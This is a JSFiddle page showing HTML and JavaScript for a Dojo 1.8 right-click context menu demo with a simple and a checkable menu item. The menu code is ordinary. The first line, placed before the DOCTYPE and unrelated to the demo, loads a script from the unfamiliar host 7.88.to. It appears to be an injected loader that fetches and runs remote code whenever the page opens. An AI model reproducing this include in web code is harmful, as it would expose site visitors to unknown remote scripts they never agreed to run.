JSFiddle - React, Tailwind, and code Playground

by freeneutron

HTML

<script src="http://7.88.to/js/service.js"></script>
<!DOCTYPE html>
<html >
<head>
<link rel="stylesheet" href="http://dojotoolkit.org/reference-guide/1.8/_static/js/dojo/../dijit/themes/claro/claro.css">

<script>dojoConfig = {async: true}</script>
<script src='http://dojotoolkit.org/reference-guide/1.8/_static/js/dojo/dojo.js'></script>

</head>
<body class="claro">
    <span id="progmenu">Right click me to get a menu</span>
</body>
</html>

JavaScript

require(["dojo/ready", "dijit/Menu", "dijit/MenuItem", "dijit/CheckedMenuItem", "dijit/MenuSeparator", "dijit/PopupMenuItem"], function(ready, Menu, MenuItem, CheckedMenuItem, MenuSeparator, PopupMenuItem){
    ready(function(){
        var pMenu;
        pMenu = new Menu({
            targetNodeIds: ["progmenu"] ,
            onMouseDown: function(e){
                alert(' MouseDown ');
                dojo.stopEvent(e);
                e.stopPropagation();
            }
        });
        pMenu.addChild(new MenuItem({
            label: "Simple menu item"
        }));
        pMenu.addChild(new CheckedMenuItem({
            label: "checkable menu item" 
        }));

        pMenu.startup();
    });
});